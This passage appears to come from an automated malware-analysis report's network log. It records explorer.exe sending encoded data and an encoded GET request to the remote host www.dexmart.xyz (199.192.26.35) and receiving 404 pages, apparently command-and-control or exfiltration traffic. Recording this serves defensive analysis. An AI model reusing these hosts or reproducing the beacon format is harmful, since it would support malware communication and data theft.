6e 36 6f 66 4e 50 51 43 6f 4e 57 34 6f 78 37 5a 30 72 46 38 6c 68 34 52 70 70 48 32 31 6e 72 4f 44 74 7a 7e 44 6e 31 41 5f 68 6f 6c 70 45 4d 50 6f 7e 33 47 64 79 7a 72 56 6a 45 70 4a 7e 4f 43 4b 6b 4b 48 70 53 6b 59 38 46 36 4e 42 6d 37 78 6b 38 76 4a 57 79 67 6d 50 48 5f 28 30 7a 35 45 58 36 36 46 44 38 58 65 7a 77 33 78 4a 68 62 57 38 59 57 72 31 67 73 78 63 53 4e 56 58 28 61 34 35 53 50 50 38 41 4a 4f 62 79 55 37 66 46 4b 42 43 47 49 52 46 7e 38 77 4d 56 42 54 43 73 71 6e 63 5a 6a 5a 6a 6d 67 6a 65 74 47 55 51 56 36 41 4f 51 5a 7e 48 34 67 42 58 4d 72 43 31 4e 73 37 66 58 6b 7e 41 4d 49 72 39 41 71 30 76 34 30 73 7a 6e 70 61 78 44 76 6e 4a 6f 53 6c 77 4e 31 4f 31 4a 4d 6c 5f 46 56 7e 43 41 55 50 31 70 62 4d 67 6c 79 4a 48 79 7a 28 4d 64 78 7a 79 34 74 28 68 62 47 36 71 35 35 69 78 47 33 74 48 49 52 47 36 51 59 4e 49 72 43 41 35 35 4d 4f 41 32 4d 39 78 76 61 73 66 6f 6c 61 73 6b 4a 31 37 46 78 45 42 38 53 35 70 73 50 4f 47 75 33 4d 73 45 4a 49 67 62 4b 61 68 51 7a 68 5f 6b 67 65 6b 4c 79 78 7a 77 50 55 77 30 4e 51 65 58 78 51 72 65 2d 4b 6a 63 39 57 5f 79 38 4f 52 70 57 61 31 4d 43 61 7a 65 6a 51 68 38 2d 53 4a 68 33 34 5a 39 33 70 6f 56 61 5a 6a 6e 4d 38 59 73 34 69 6d 6e 68 75 4c 62 49 54 42 75 58 52 66 52 62 55 70 32 63 31 6b 63 48 58 69 71 39 6a 33 28 67 37 34 4b 54 57 57 7e 72 36 67 54 66 78 32 57 49 79 41 46 35 39 61 6d 34 57 70 4d 2d 35 48 56 4f 47 32 43 34 61 35 68 4e 44 49 35 71 75 6c 42 6c 7a 75 75 5f 36 59 32 64 44 73 57 32 31 45 73 53 37 63 73 59 73 30 56 32 6e 62 62 41 67 75 5a 5f 50 72 57 58 37 58 78 75 67 4c 41 65 69 6f 50 30 43 59 34 47 59 4d 44 32 38 35 6f 4f 28 32 37 53 35 61 31 37 50 30 77 6a 46 32 72 6b 66 71 7a 58 61 44 76 4e 76 62 41 31 46 70 59 71 6a 45 52 74 50 52 36 39 76 36 47 48 58 64 42 63 66 49 61 32 67 35 41 4b 4e 68 50 50 73 62 58 79 6f 54 30 7a 49 44 35 78 69 64 57 4f 54 6b 6d 6b 47 71 6c 6d 48 61 73 5f 77 6e 67 2d 32 4d 59 41 54 2d 79 74 39 53 35 42 42 41 70 33 76 72 6a 49 55 7a 57 52 75 70 6f 47 4d 50 38 4f 4c 54 6e 55 44 37 36 77 6f 5a 6c 50 71 6c 37 34 73 4a 39 79 4f 36 53 6d 71 7a 4c 53 4f 39 38 56 6c 6a 6e 6d 71 68 67 72 61 64 71 34 56 4f 65 69 48 5f 5a 6d 4a 35 6f 39 55 49 4f 49 5a 50 6b 36 4a 69 66 59 36 4c 66 78 4d 74 36 39 44 6b 39 31 66 6d 70 73 4e 6f 52 6d 42 70 69 4a 45 5a 41 31 49 54 69 76 6f 39 71 4b 50 5a 54 42 39 70 73 4f 4e 73 41 69 73 69 47 5f 75 64 53 35 56 66 4e 2d 4b 73 4c 78 35 56 4c 6d 76 35 34 62 33 4a 68 7a 65 53 54 58 35 47 73 33 46 34 73 68 6e 32 64 6d 73 64 62 4b 69 73 6f 42 58 47 33 45 5a 69 31 33 4b 59 4b 45 42 5f 52 63 41 45 43 35 33 48 49 5f 4a 31 57 6d 62 4c 7e 6e 47 55 4a 32 76 39 63 36 47 63 66 74 4c 31 4a 5f 50 6e 44 6a 79 75 42 48 32 2d 32 72 48 65 66 79 68 55 57 34 72 62 32 51 34 37 39 54 4a 45 51 4f 55 59 37 6a 35 67 64 31 7a 35 6a 56 50 44 61 4d 41 47 63 41 66 54 4f 7a 78 55 37 34 69 74 47 30 33 4f 4a 59 6b 78 58 56 51 39 37 62 6c 4d 71 6d 6d 39 64 49 4b 74 4c 76 77 47 30 34 41 78 6d 53 77 33 6b 50 49 47 5a 35 6d 41 28 61 35 59 54 65 28 61 6c 64 31 38 76 5a 7e 33 36 4d 50 31 4e 62 54 66 36 6b 69 66 28 52 6e 4c 35 53 5a 39 68 4f 67 4a 33 4d 4b 51 34 52 37 63 58 57 70 41 79 72 67 78 38 36 6f 47 65 4b 72 72 76 7a 57 48 4c 59 6f 4b 70 48 56 55 4a 50 5a 38 36 32 39 6f 76 46 46 6f 4b 6f 35 34 63 51 35 6d 73 73 75 50 68 52 43 37 28 4a 34 70 73 4e 52 52 28 76 78 6a 71 64 39 56 4c 64 5a 52 55 48 71 72 37 64 70 61 7a 43 61 66 6f 46 76 70 42 74 78 6e 43 4a 59 6a 32 63 53 39 74 56 37 62 59 37 35 5a 68 53 34 7a 71 58 76 51 57 4f 6d 5a 37 34 57 33 43 6c 64 63 36 42 31 6d 4e 66 68 48 58 59 6b 63 65 43 28 35 36 4c 79 6c 30 2d 7e 45 37 76 4d 6a 73 72 6c 4d 75 70 39 45 34 34 Data Ascii: pO=rlaaWtDgoNfANrxBc-P84Ya5fI2GVj0s6RHeGk40qP8UWHtChr9Y5-0DPNqwZMYF05L1ha5SFK9Unzw0AM(gA8dwAGsujrg4ZHHBf4g18Pu_BEfK78W51HcluaAA5uDGxor2tElh0J4cKjlFNeTP9dALrbLFfGqlRn6ofNPQCoNW4ox7Z0rF8lh4RppH21nrODtz~Dn1A_holpEMPo~3GdyzrVjEpJ~OCKkKHpSkY8F6NBm7xk8vJWygmPH_(0z5EX66FD8Xezw3xJhbW8YWr1gsxcSNVX(a45SPP8AJObyU7fFKBCGIRF~8wMVBTCsqncZjZjmgjetGUQV6AOQZ~H4gBXMrC1Ns7fXk~AMIr9Aq0v40sznpaxDvnJoSlwN1O1JMl_FV~CAUP1pbMglyJHyz(Mdxzy4t(hbG6q55ixG3tHIRG6QYNIrCA55MOA2M9xvasfolaskJ17FxEB8S5psPOGu3MsEJIgbKahQzh_kgekLyxzwPUw0NQeXxQre-Kjc9W_y8ORpWa1MCazejQh8-SJh34Z93poVaZjnM8Ys4imnhuLbITBuXRfRbUp2c1kcHXiq9j3(g74KTWW~r6gTfx2WIyAF59am4WpM-5HVOG2C4a5hNDI5qulBlzuu_6Y2dDsW21EsS7csYs0V2nbbAguZ_PrWX7XxugLAeioP0CY4GYMD285oO(27S5a17P0wjF2rkfqzXaDvNvbA1FpYqjERtPR69v6GHXdBcfIa2g5AKNhPPsbXyoT0zID5xidWOTkmkGqlmHas_wng-2MYAT-yt9S5BBAp3vrjIUzWRupoGMP8OLTnUD76woZlPql74sJ9yO6SmqzLSO98Vljnmqhgradq4VOeiH_ZmJ5o9UIOIZPk6JifY6LfxMt69Dk91fmpsNoRmBpiJEZA1ITivo9qKPZTB9psONsAisiG_udS5VfN-KsLx5VLmv54b3JhzeSTX5Gs3F4shn2dmsdbKisoBXG3EZi13KYKEB_RcAEC53HI_J1WmbL~nGUJ2v9c6GcftL1J_PnDjyuBH2-2rHefyhUW4rb2Q479TJEQOUY7j5gd1z5jVPDaMAGcAfTOzxU74itG03OJYkxXVQ97blMqmm9dIKtLvwG04AxmSw3kPIGZ5mA(a5YTe(ald18vZ~36MP1NbTf6kif(RnL5SZ9hOgJ3MKQ4R7cXWpAyrgx86oGeKrrvzWHLYoKpHVUJPZ8629ovFFoKo54cQ5mssuPhRC7(J4psNRR(vxjqd9VLdZRUHqr7dpazCafoFvpBtxnCJYj2cS9tV7bY75ZhS4zqXvQWOmZ74W3Cldc6B1mNfhHXYkceC(56Lyl0-~E7vMjsrlMup9E44sIuy43Ql~jp0g1vphqgAqG8a0VmWkTZ_nDNKDKGMTti5kdWgtZq1bXySJpzJqEYWotP_8DkuArQUxAXOd6lAOAMAlLo75rNUVoW6WD9qgxQROPiC1ZblTdGm0SvRvRt-dXnz4sy3zgwW7NF1x1QniBGXJZkaR-269FIrFBQ87CPSTLNBZ3jWJfJfu1bIoXkvwVTqThsI6-FCxjCQ1eoBbI4xTJ1gf-HiPHNSZtJVzmTcBxon~YOM6weyHeND9ShbtDsgMwYab58Dl0YQp_9mIVMezj~56uW9Ctop(St_jvYpmpMXvpQbEx3_c1XSW3cvDUwyLWMElzNRoKheP0I-~3qgV_NG1WCssapk6Wq1qJSXCRMu8UthVd8NRVhshwS_A8PC2zUd3qI5Wf~QRWx1~Cdo4T4YtY38bCDfQnRJNoMqmr7D1yqhEH3Bki(sqUAuSurnhKeKVvtSynJbaU1tqPzgVsKFhF(Wek5rb8tfrCeTRvbF2T88hioSEigiKZr7mxUn5P9EX8dNTvkTPOPHPvWDh_H4sKyCVBHWw4FxoOGFNjRglwWbMjT6YwkGol(4UtlY9q5vZ0b1gP4q0K1hf-0BohXVwYeYip9AYh8ZBkgBwk94RbWd4pRf3Q3SPhypk56i86d8q6EggCHPZd2heyOY(2rmkOqeTpI3PL0uDJ4xMV4VCNf43sWhZaDHpL48KceGu7lm0Tpk2leEgqxhPOcHWeEMgMlSdFZFmg15HwMwvOV1GLW14VIHZbuesdfVIwjaWTyHHAvhGuvogKLaz320~ioM5fyxjXhaonUHmTNOqUTX4u4vSBx7U9SejpFCkw3n3sLfi8ad8REFmMs_028spKzVGD1K5BInj-QufsMpLVUDYlLGtMyl9hewy8Jm7iNYEd5wnYYMs2mGzpTJU-Pocu(GF3baL_jB6cLFGAy-OyzQtd2f2FFwFbr1X-S3LbcaZGr6Y1cgfNae9mPK0xflRfBOeXfw8-7OpCAJwjchj3w8Fz7CdF64WW4Bd9y2gydzOWZuk6DdMXzK5qNCvYzJTWwV3CiPLAg2bm4uGQxZjZ6HC0EcLr7BgJ1UUT~ytyTPR5IurvFWkkEDEkrmnKO2SwtORwvIU-RQxXAeNb(_KQv6y1YOpRKaF7EJtKllD_~FYJ39eUKkxSmrnEKkCgH0FCloaOaGtXyHl-oXYJe1U5EdWKxZdogc3tQ7HGb8sa~VbRk4hxAokPXLPZ3tVjAxgTDtEq4zF40jWcgbc-Dr6XnvhSHsAzRymqVaytSmSZQBdVTy5RPJryOa2FHqG3WUhfCeJb(jq5i0F79MEqGVIqt4(KnP3DENJ5WfJjTB(voeCvzJ8d81SQ957Kdvn5jbWdBHLpzPWwFL~uKwnxqjY0V_jfRhpIp3NMhWDhhvmpHErJuM0kIGCrPRc4GPImtBAyqgo4u6bGDtwu9_CWrYdJr9WfIj4xzkwxzP19mSGg48cg~pHtm0xJJuoQm6V_Sh93ZuQSCm5Nkkla4AUtkWq2axL8(nRmMcgUEaP-v_QBftNMXXnOKrKo7rkssWmACcTYgyL90JjmJUR4bYFu32imdm4Z29(BTiAjeq4xcH78aFtiuikEV4LwPsgHknptuiy1iVkxEOHO87F_j8XHWLgqvP(iCzDTRvh2(YIwq22wCOhy78MknGZh4pkjatcpjsbqoR1ujLhkcNUnqlnusFkbr9F3PTKhSYLwZIpPaMesZ0BGIRF-u6eQokgd6-eOSggcCh(rUCqlkBFbqjuIMudh3Hg9FBO36rC6(ff5Tkmk15FDQik81lV3XHQSIq5ex04lqU~Okbt3hJtMgUVC1VbyrxLsLDNcU0qPRmnPu-ldfQhas-V-3ERCDXpM2r1AXb0D(X77fhKNVBD73vCaE0(tT00we2DDhyk_zxxzVDqYgQshJZIw9YrwKp~mi3e-HvUayn7nF0qgCWqw7qn3bulXh5Mq~jMOgpqhMsJVq7OTy-S-8vKduIMYJ2DOpUeRsZDjPbIlCKCwgzdocsA_MwjOD0CP4QYx1icjgnWDilzxqioK4zyXMH1gz_fp2xR6MuM0zY9SLrNIPLKBQqftRpS8RNLNE3UIS60Y2VHacN~S7KVKrwrrlHk64SoHKq2OWiNe(5LUGklQwoJhor(VzWsjkVGMJE9RUV7E5OsRelEL3xrUytYnq3ToQo7lIQzuFVDtBKQF07Z-AIAOxq4BKkw0ldz214szPy~PbYoeUmLF5kmSKO6z6KhE5gJOzpnTtoGOoGpNaG0rQHNMRZpqu8qmux01qAnL1_6Yj3ULqLBkZpycMvfuvgqjgN0OMBJFlsz6PCP60MYste2Xlo~gE04D0Wgj5vJNENWrOmM3NlLW9YGSn-V141JW1mt-(HjdDZdC2RQdb5c7ksiUPzr5cnd9J-r1(6TgcHDBxiaaDIAdSfZuZSUWoeow~ttj8vwhCM0X4bJyL3k4440N2kF55iKdlA~u~ZmQEPJ1bqDALmS-MO1w4E7hZWWItKKyiF9K75HRQF1z84EQAQdldB4e9x5okXX26kyn~Y6nq-gi(sGkVrqj3bbj9sKyIBk5TNdOXRt2TRFZ2KAe(wY7XXFfxgm7HWQIGpLcFD4vhXK9Qiwgim63CsyHm27uGo9kOdpYvOvE7eJblFvCCzzq8P6s(BSyibHJAZXFKx5xn-fPtqBv~fbf3zyQ4-EUb20KaYl3jS1JiZHXDWhzR
Mar 20, 2023 15:21:07.126921892 CET	922	OUT	Data Raw: 64 7a 33 5a 46 31 47 4c 34 48 5a 32 37 53 4d 63 30 2d 4b 67 76 38 4c 74 59 38 31 45 4e 68 76 6e 4b 74 39 47 46 36 28 41 4a 65 50 71 6a 44 54 50 57 48 6f 63 71 64 6f 53 6c 6c 72 50 71 52 78 61 57 53 77 74 36 35 7e 4b 31 6d 34 76 45 30 6f 5f 31 47 Data Ascii: dz3ZF1GL4HZ27SMc0-Kgv8LtY81ENhvnKt9GF6(AJePqjDTPWHocqdoSllrPqRxaWSwt65~K1m4vE0o_1GWZ~CkdCZr7bP7MXpWcTl8clyWP2N1B(Zqi4hfzRc7sn6h7lG2sJKb5CncsDz3dz4~L1YvKR_nAQKB9S0sEayDivFaspB8oEVme~6TsnMxlsGypTHpcGgo_sSI8xff1yuhhvfFyefq-k6JFfshuQeloiE3dv7natbS
Mar 20, 2023 15:21:07.293987036 CET	924	OUT	Data Raw: 67 4f 59 4e 50 6e 64 69 5a 71 5a 66 47 51 74 32 6a 39 71 72 30 36 49 5a 79 42 54 69 51 5f 64 32 6b 68 37 55 34 72 56 66 7e 35 31 62 42 7a 67 62 71 6d 66 6c 54 53 67 73 37 6e 45 4c 37 42 61 51 74 37 75 67 56 68 6c 58 6b 56 75 6e 4b 4f 42 4b 44 62 Data Ascii: gOYNPndiZqZfGQt2j9qr06IZyBTiQ_d2kh7U4rVf~51bBzgbqmflTSgs7nEL7BaQt7ugVhlXkVunKOBKDb(ipUdDjtYbigHdMI8SgvOeaqDroNbJ7uwWHvf6KqZu2fAUb3nmwKFzBNOZHHy6WXbdeRTOvGsVfJ~psLhtcVeFr5YpKr(JxgqxKt2UeYGKXgrL8G1Sq6L1g0phTeekhz76cfDzaIl6X3IBl48fVXLiF4UwwdpzOvZ
Mar 20, 2023 15:21:07.294087887 CET	937	OUT	Data Raw: 4c 50 79 41 33 64 72 76 6f 68 63 57 66 34 63 77 73 78 45 2d 63 62 28 72 4b 6a 6f 6b 33 45 4c 42 69 42 48 68 33 5a 68 4a 34 45 46 34 4b 35 43 39 50 66 66 4c 55 57 74 65 73 5a 56 6b 69 69 45 45 4f 78 57 4e 34 51 61 79 6e 62 62 68 28 45 31 79 55 79 Data Ascii: LPyA3drvohcWf4cwsxE-cb(rKjok3ELBiBHh3ZhJ4EF4K5C9PffLUWtesZVkiiEEOxWN4Qaynbbh(E1yUy8Vfc5JvNlOYszhO8njcG3w5SeIdi(Q20jo28buRq2u1jeUmSHeA3xFIL7E5t8wfqxijhzQOItXg7qM5F0o2_bbt6bB1rRTKGwIBCoH(bJWtDRbiGO1zkT9na~TPlOQHHS2UXJIJXMXbrjEEIKb1FYL3COx8WNDPt4
Mar 20, 2023 15:21:07.294168949 CET	944	OUT	Data Raw: 4b 6d 65 79 70 43 42 54 53 49 68 57 75 73 75 36 41 57 69 7a 38 35 4e 64 7e 79 79 4b 59 74 44 43 34 37 33 56 77 6b 43 46 73 6f 31 6e 53 32 7a 6b 35 74 34 33 70 64 45 69 48 70 42 79 43 66 70 72 67 76 7e 4c 58 59 47 6d 52 34 68 54 30 53 54 4f 4f 7a Data Ascii: KmeypCBTSIhWusu6AWiz85Nd~yyKYtDC473VwkCFso1nS2zk5t43pdEiHpByCfprgv~LXYGmR4hT0STOOzTFcpIEl2oXHX3ENdTaTRqkWCgCrYv96TWL8LZquNxiE4l-6P7OarcZaatagX9ih8zqDIy7RDiuC3yKPyLoTith7_LgLLHvbhqD27V06DkSkLpnoChUadyfGGkgstsE8rjg60krqFYtoCkSMInCwXt0rRjYjvs6D-j
Mar 20, 2023 15:21:07.294358969 CET	947	OUT	Data Raw: 71 6e 33 42 57 70 63 54 30 72 68 36 51 5a 48 68 45 4e 32 73 7e 79 31 63 6a 39 69 50 65 68 64 2d 47 4b 38 6b 38 68 70 74 41 57 30 68 43 37 51 74 6e 6c 38 4c 62 64 6c 77 37 47 39 7a 6d 56 39 43 71 57 79 5f 72 6e 66 66 61 34 4c 71 37 57 6f 7a 55 53 Data Ascii: qn3BWpcT0rh6QZHhEN2s~y1cj9iPehd-GK8k8hptAW0hC7Qtnl8Lbdlw7G9zmV9CqWy_rnffa4Lq7WozUSRwGLMrmzYXw5bK64(lYMk3T0FqypuBePpTzE1jaR~46vWfT-e5ZbSZaZF7Cox3Fd6Efd4xxOip71n9hP9NNC1Th6TnFkOTwNu5uYGRvqZqaiYPZrObWDkZyjX113Dhty0jjNgQCBCFtEuf5e8b6EYr9CG-E8~Of4J
Mar 20, 2023 15:21:07.460870981 CET	955	OUT	Data Raw: 52 73 38 48 42 70 5a 30 48 73 64 79 37 71 74 63 38 33 54 4c 62 77 65 78 4d 79 47 38 77 72 59 4a 43 64 57 51 67 4f 45 34 38 70 6c 4f 44 64 52 43 6d 65 75 6a 37 62 4e 62 42 72 4a 61 45 48 4e 4b 71 70 58 4f 6b 68 68 6a 57 44 4e 52 4e 4c 6a 4d 50 71 Data Ascii: Rs8HBpZ0Hsdy7qtc83TLbwexMyG8wrYJCdWQgOE48plODdRCmeuj7bNbBrJaEHNKqpXOkhhjWDNRNLjMPq5eWmpFpZ3SHGO4VFG507Yekd1Su-TA0323(-RR61QlbH9WmgBjwY3JTBlrHX8bqswPLCOFk8CWBdDmyc0Sdlkvg5vFj6qkVUogYnXgE4bDNnEM66SGrJ0CK7M-yyNlMq2ekptD~eivFr6zk_kOWGnQabj6WYJ_BoR
Mar 20, 2023 15:21:07.461226940 CET	959	OUT	Data Raw: 76 4b 50 74 78 71 74 76 38 69 31 69 75 62 59 39 41 55 65 4c 6f 2d 46 51 30 54 63 5f 76 6d 6b 2d 64 4f 76 67 48 64 70 72 34 79 30 67 37 41 54 78 59 67 58 34 4d 41 56 4e 47 36 7e 4b 33 55 4e 39 59 39 4e 78 64 74 55 76 32 6e 58 35 77 65 76 31 75 6c Data Ascii: vKPtxqtv8i1iubY9AUeLo-FQ0Tc_vmk-dOvgHdpr4y0g7ATxYgX4MAVNG6~K3UN9Y9NxdtUv2nX5wev1ult-Fc2B8rJgIUMXaqmMN1HrShnsu2xv4pEJ4mg7mk373sYmjZwd3TmoPASY8Yy8TkyJzgP6b3rppM8VF3UsOcVGk4r1I6Itz4N2fDl4U8qDw0aHAE~Q7XlvzXxS3BV_wq~8ECUJ3a6nQ8he~dkbwexzJsNFFuKH9Q~
Mar 20, 2023 15:21:07.461396933 CET	961	OUT	Data Raw: 4e 6b 66 51 56 75 65 41 67 4c 53 73 53 6c 6c 51 42 2d 4d 42 7e 33 41 69 30 51 4b 62 73 62 49 6f 4d 5a 48 73 45 4c 4b 4d 75 79 47 30 63 51 4b 46 43 52 7e 6b 55 65 54 79 43 4a 66 73 31 33 6a 70 53 4c 70 34 73 35 65 68 71 34 6e 76 57 6d 43 43 74 41 Data Ascii: NkfQVueAgLSsSllQB-MB~3Ai0QKbsbIoMZHsELKMuyG0cQKFCR~kUeTyCJfs13jpSLp4s5ehq4nvWmCCtA8opFHTodANZ1z5SzzzOEfOLaN71MyqBHLHzggYYeLLa-2giGA_SI~oc_EX(e~b(-CmqagJ6L06zKvJpKNVGfiLwXPBkRdE7GZgbMakh-RqtlvvsKktd-JJ4NYljfwZn_ET9qR_lUdomXumoFskEbpvHVL6iOJTJfz
Mar 20, 2023 15:21:07.755343914 CET	962	IN	HTTP/1.1 404 Not Found Date: Mon, 20 Mar 2023 14:21:07 GMT Server: Apache Content-Length: 690 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c 22 3e 0a 20 20 3c 68 31 3e 45 72 72 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 3c 2f 68 31 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 50 6c 65 61 73 65 20 74 72 79 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 23 31 22 3e 67 6f 20 62 61 63 6b 3c 2f 61 3e 20 6f 72 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 72 65 74 75 72 6e 20 74 6f 20 74 68 65 20 68 6f 6d 65 70 61 67 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 47 6f 6f 64 20 6c 75 63 6b 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.11.20	49877	199.192.26.35	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:09.812328100 CET	963	OUT	GET /d91r/?pO=mny6VZKrhd/9NKVuKuT/s/SGWqKgSQU06gLLPmpyieItdUR08ut5ldoEEciwTOIy3aXJmehMaME22hMIN/PsdP4yT3Vly6kaHw==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.dexmart.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:21:10.079699039 CET	964	IN	HTTP/1.1 404 Not Found Date: Mon, 20 Mar 2023 14:21:09 GMT Server: Apache Content-Length: 690 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c 22 3e 0a 20 20 3c 68 31 3e 45 72 72 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 3c 2f 68 31 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 50 6c 65 61 73 65 20 74 72 79 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 23 31 22 3e 67 6f 20 62 61 63 6b 3c 2f 61 3e 20 6f 72 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 72 65 74 75 72 6e 20 74 6f 20 74 68 65 20 68 6f 6d 65 70 61 67 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 47 6f 6f 64 20 6c 75 63 6b 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.11.20	49845	45.56.79.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
